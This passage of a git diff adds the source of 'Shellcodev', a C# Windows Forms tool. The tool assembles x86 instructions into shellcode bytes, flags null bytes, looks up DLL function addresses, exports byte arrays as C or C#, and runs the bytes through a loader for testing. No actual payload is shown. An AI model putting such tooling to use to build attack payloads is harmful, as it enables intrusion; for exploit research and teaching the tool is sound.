"label8"; + this.label8.Size = new System.Drawing.Size(66, 17); + this.label8.TabIndex = 5; + this.label8.Text = "Function:"; + // + // getAddrBtn + // + this.getAddrBtn.Location = new System.Drawing.Point(788, 153); + this.getAddrBtn.Margin = new System.Windows.Forms.Padding(4); + this.getAddrBtn.Name = "getAddrBtn"; + this.getAddrBtn.Size = new System.Drawing.Size(112, 27); + this.getAddrBtn.TabIndex = 2; + this.getAddrBtn.Text = "Get Address"; + this.getAddrBtn.UseVisualStyleBackColor = true; + this.getAddrBtn.Click += new System.EventHandler(this.getAddrBtn_Click); + // + // cRBtn + // + this.cRBtn.AutoSize = true; + this.cRBtn.Location = new System.Drawing.Point(868, 38); + this.cRBtn.Margin = new System.Windows.Forms.Padding(4); + this.cRBtn.Name = "cRBtn"; + this.cRBtn.Size = new System.Drawing.Size(86, 21); + this.cRBtn.TabIndex = 7; + this.cRBtn.TabStop = true; + this.cRBtn.Text = "C Format"; + this.cRBtn.UseVisualStyleBackColor = true; + this.cRBtn.CheckedChanged += new System.EventHandler(this.cRBtn_CheckedChanged); + // + // csRBtn + // + this.csRBtn.AutoSize = true; + this.csRBtn.Location = new System.Drawing.Point(868, 64); + this.csRBtn.Margin = new System.Windows.Forms.Padding(4); + this.csRBtn.Name = "csRBtn"; + this.csRBtn.Size = new System.Drawing.Size(94, 21); + this.csRBtn.TabIndex = 7; + this.csRBtn.TabStop = true; + this.csRBtn.Text = "C# Format"; + this.csRBtn.UseVisualStyleBackColor = true; + this.csRBtn.CheckedChanged += new System.EventHandler(this.csRBtn_CheckedChanged); + // + // generateBtn + // + this.generateBtn.Location = new System.Drawing.Point(720, 28); + this.generateBtn.Margin = new System.Windows.Forms.Padding(4); + this.generateBtn.Name = "generateBtn"; + this.generateBtn.Size = new System.Drawing.Size(133, 68); + this.generateBtn.TabIndex = 2; + this.generateBtn.Text = "Generate"; + this.generateBtn.UseVisualStyleBackColor = true; + this.generateBtn.Click += new System.EventHandler(this.generateBtn_Click); + // + // Main + // + this.AutoScaleDimensions = new System.Drawing.SizeF(8F, 16F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(1109, 732); + this.Controls.Add(this.csRBtn); + this.Controls.Add(this.cRBtn); + this.Controls.Add(this.funcTxt); + this.Controls.Add(this.dllAddrBox); + this.Controls.Add(this.label4); + this.Controls.Add(this.label3); + this.Controls.Add(this.label2); + this.Controls.Add(this.label5); + this.Controls.Add(this.label7); + this.Controls.Add(this.label8); + this.Controls.Add(this.label6); + this.Controls.Add(this.label1); + this.Controls.Add(this.indexesBox); + this.Controls.Add(this.pointersBox); + this.Controls.Add(this.registersBox); + this.Controls.Add(this.bytesBox); + this.Controls.Add(this.shlcTestBtn); + this.Controls.Add(this.testerBldBtn); + this.Controls.Add(this.generateBtn); + this.Controls.Add(this.getAddrBtn); + this.Controls.Add(this.addInstructionBtn); + this.Controls.Add(this.instructionTxt); + this.Controls.Add(this.instructionGrid); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.Margin = new System.Windows.Forms.Padding(4); + this.MaximumSize = new System.Drawing.Size(1127, 779); + this.MinimumSize = new System.Drawing.Size(1127, 779); + this.Name = "Main"; + this.Text = "Shellcodev"; + ((System.ComponentModel.ISupportInitialize)(this.instructionGrid)).EndInit(); + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + private System.Windows.Forms.TextBox instructionTxt; + private System.Windows.Forms.Button addInstructionBtn; + public System.Windows.Forms.DataGridView instructionGrid; + public System.Windows.Forms.RichTextBox bytesBox; + private System.Windows.Forms.Label label1; + private System.Windows.Forms.Label label2; + private System.Windows.Forms.Label label3; + private System.Windows.Forms.Label label4; + private System.Windows.Forms.Label label5; + private System.Windows.Forms.Button testerBldBtn; + private System.Windows.Forms.Button shlcTestBtn; + private System.Windows.Forms.TextBox dllAddrBox; + private System.Windows.Forms.Label label6; + private System.Windows.Forms.TextBox funcTxt; + private System.Windows.Forms.Label label7; + private System.Windows.Forms.Label label8; + private System.Windows.Forms.Button getAddrBtn; + private System.Windows.Forms.RadioButton cRBtn; + private System.Windows.Forms.RadioButton csRBtn; + private System.Windows.Forms.Button generateBtn; + public System.Windows.Forms.RichTextBox pointersBox; + private System.Windows.Forms.DataGridViewTextBoxColumn Instruction; + public System.Windows.Forms.RichTextBox indexesBox; + public System.Windows.Forms.RichTextBox registersBox; + } +} \ No newline at end of file diff --git a/Shellcodev/Forms/Main.cs b/Shellcodev/Forms/Main.cs new file mode 100644 index 0000000..fa2a519 --- /dev/null +++ b/Shellcodev/Forms/Main.cs @@ -0,0 +1,277 @@ +using Shellcodev.Core; +using System; +using System.Drawing; +using System.Linq; +using System.Windows.Forms; + +namespace Shellcodev.Forms +{ + public partial class Main : Form + { + private static int previousIndex; + + public static API.PROCESS_INFORMATION pi; + public static API.Registers registers; + + private static Main instance; + public static Main ReturnInstance() + { + return instance; + } + + //TODO: https://github.com/asmjit/asmjit/issues/27 + + private void InitProcess() //API.PROCESS_INFORMATION I + { + API.STARTUPINFO si = new API.STARTUPINFO(); + pi = new API.PROCESS_INFORMATION(); + + bool createproc = API.CreateProcess( + AppDomain.CurrentDomain.FriendlyName, // Get current executable name + null, + IntPtr.Zero, + IntPtr.Zero, + false, + 0x00000002, //Debug process + IntPtr.Zero, + null, + ref si, out pi); + + if (!createproc) + { + MessageBox.Show("ERROR! CreateProcess Failed"); + this.Close(); + } + } + + public Main() + { + InitializeComponent(); + instance = this; + instructionGrid.AllowUserToAddRows = false; + + // Initialize process which will be used to debug assembly instructions + AssemblyHandler handler = new AssemblyHandler(); + InitProcess(); + + // Stabilization of registers + handler.SetRegisters("xor eax,eax", pi); + handler.SetRegisters("xor ebx,ebx", pi); + handler.SetRegisters("xor ecx,ecx", pi); + } + + public void ByteAppender(string bytes) + { + var box = this.bytesBox; + string[] split = bytes.Split(' '); + + foreach (string line in split) + { + // Make red instructions that have nullbytes + if (line == "00") + { + box.SelectionColor = Color.Red; + box.AppendText(line + " "); + } + else + box.AppendText(line + " "); + } + box.AppendText("\n"); + } + + private void getAddrBtn_Click(object sender, EventArgs e) + { + string dll = dllAddrBox.Text; + string function = funcTxt.Text; + + var lib = API.LoadLibrary(dll); + var address = API.GetProcAddress(lib, function); + string hexValue = address.ToString("X"); + + if (MessageBox.Show("0x" + hexValue, "Function address (Press OK to copy)", MessageBoxButtons.OK) == System.Windows.Forms.DialogResult.OK) + Clipboard.SetText("0x" + hexValue); + } + + private void generateBtn_Click(object sender, EventArgs e) + { + string bytes = bytesBox.Text; + if (csRBtn.Checked) + new Generator(bytes, true); + else if (cRBtn.Checked) + new Generator(bytes, false); + else + return; + } + + #region InstructionRegion + private void addInstructionBtn_Click(object sender, EventArgs e) + { + //Disable row sorting + instructionGrid.Columns.Cast().ToList().ForEach(f => f.SortMode = DataGridViewColumnSortMode.NotSortable); + + if (String.IsNullOrEmpty(instructionTxt.Text)) + return; + + new Instruction(instructionTxt.Text); + + instructionGrid.CurrentCell = instructionGrid[0, instructionGrid.RowCount - 1]; + } + + private void instructionTxt_KeyDown(object sender, KeyEventArgs e) + { + if (e.KeyCode == Keys.Enter) + { + addInstructionBtn_Click(sender, e); + instructionTxt.SelectAll(); + + e.Handled = true; + e.SuppressKeyPress = true; + } + } + + + private void instructionGrid_SelectionChanged(object sender, EventArgs e) + { + int index = instructionGrid.CurrentCell.RowIndex; + string nullbyte = "00"; + + if (bytesBox.Lines.Count() < 1) + return; + + int length = bytesBox.Lines[index].Length; + int start = bytesBox.GetFirstCharIndexFromLine(index); + + if (index != previousIndex) + { + int prevLength = bytesBox.Lines[previousIndex].Length; + int prevStart = bytesBox.GetFirstCharIndexFromLine(previousIndex); + + bytesBox.Select(prevStart, prevLength); + bytesBox.SelectionColor = Color.Black; + } + + if (bytesBox.Lines[previousIndex].Contains(nullbyte)) + { + int selectStart = bytesBox.SelectionStart; + + while ((previousIndex = bytesBox.Text.IndexOf(nullbyte, (previousIndex + 1))) != -1) + { + bytesBox.Select(previousIndex, nullbyte.Length); + bytesBox.SelectionColor = Color.Red; + + bytesBox.Select(selectStart, 0); + bytesBox.SelectionColor = Color.Black; + } + } + + bytesBox.Select(start, length); + bytesBox.SelectionColor = Color.Blue; + + previousIndex = index; + } + + private void instructionGrid_CellEndEdit(object sender, DataGridViewCellEventArgs e) + { + AssemblyHandler handler = new AssemblyHandler(); + + int editedRow = e.RowIndex; + DataGridViewRow row = instructionGrid.Rows[editedRow]; + + var rowValue = row.Cells[0].Value; + if (rowValue == null) //Remove row from grid + { + try //Editing empty row and setting it to null + { instructionGrid.Rows.Remove(row); } + catch (Exception) + { return; } + + //Resort indexes + //for (int i = editedRow; i < instructionGrid.Rows.Count; i++) + //{ + // DataGridViewRow dgvr = instructionGrid.Rows[i]; + // if (dgvr.Cells[0].Value != null) + // dgvr.HeaderCell.Value = (dgvr.Index + 1).ToString(); + //} + + //Remove line from textbox + int startIndex = bytesBox.GetFirstCharIndexFromLine(editedRow); + int count = bytesBox.Lines[editedRow].Length; + + if (editedRow < bytesBox.Lines.Length - 1) + { + count += bytesBox.GetFirstCharIndexFromLine(editedRow + 1) - + ((startIndex + count - 1) + 1); + } + bytesBox.Text = bytesBox.Text.Remove(startIndex, count); + + return; + } + + string bytes = handler.Assembler(rowValue.ToString()); + int search = bytesBox.Text.IndexOf(bytesBox.Lines[editedRow]); + + bytesBox.Select(search, bytesBox.Lines[editedRow].Length); + bytesBox.SelectedText = bytes; + } + #endregion + + #region RadioButtons + private void cRBtn_CheckedChanged(object sender, EventArgs e) + { + if (csRBtn.Checked) + csRBtn.Checked = false; + } + + private void csRBtn_CheckedChanged(object sender, EventArgs e) + { + if (cRBtn.Checked) + cRBtn.Checked = false; + } + #endregion + + #region Testing + private void shlcTestBtn_Click(object sender, EventArgs e) + { + string text = bytesBox.Text; + string[] byteArray = text.Split(new char[] { ' ', '\n' }, StringSplitOptions.RemoveEmptyEntries); + + string temp = null; + for (int i = 0; i < byteArray.Length; i++) + { + if (i == byteArray.Length - 1) + temp += "0x" + byteArray[i]; + else + temp += "0x" + byteArray[i] + ", "; + } + + byte[] converted = temp.Split(new[] { ", " }, StringSplitOptions.None) + .Select(str => Convert.ToByte(str, 16)) + .ToArray(); + + new ShellcodeLoader(converted); + } + + private void testerBldBtn_Click(object sender, EventArgs e) + { + string text = bytesBox.Text; + string[] byteArray = text.Split(new char[] { ' ', '\n' }, StringSplitOptions.RemoveEmptyEntries); + + string temp = null; + for (int i = 0; i < byteArray.Length; i++) + { + if (i == byteArray.Length - 1) + temp += "0x" + byteArray[i]; + else + temp += "0x" + byteArray[i] + ", "; + } + + byte[] converted = temp.Split(new[] { ", " }, StringSplitOptions.None) + .Select(str => Convert.ToByte(str, 16)) + .ToArray(); + + Builder builder = new Builder(); + builder.Build(converted); + } + #endregion + } +} \ No newline at end of file diff --git a/Shellcodev/Forms/Main.resx b/Shellcodev/Forms/Main.resx new file mode 100644 index 0000000..0c02800 --- /dev/null +++ b/Shellcodev/Forms/Main.resx @@ -0,0 +1,470 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + True + + + + + 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 + 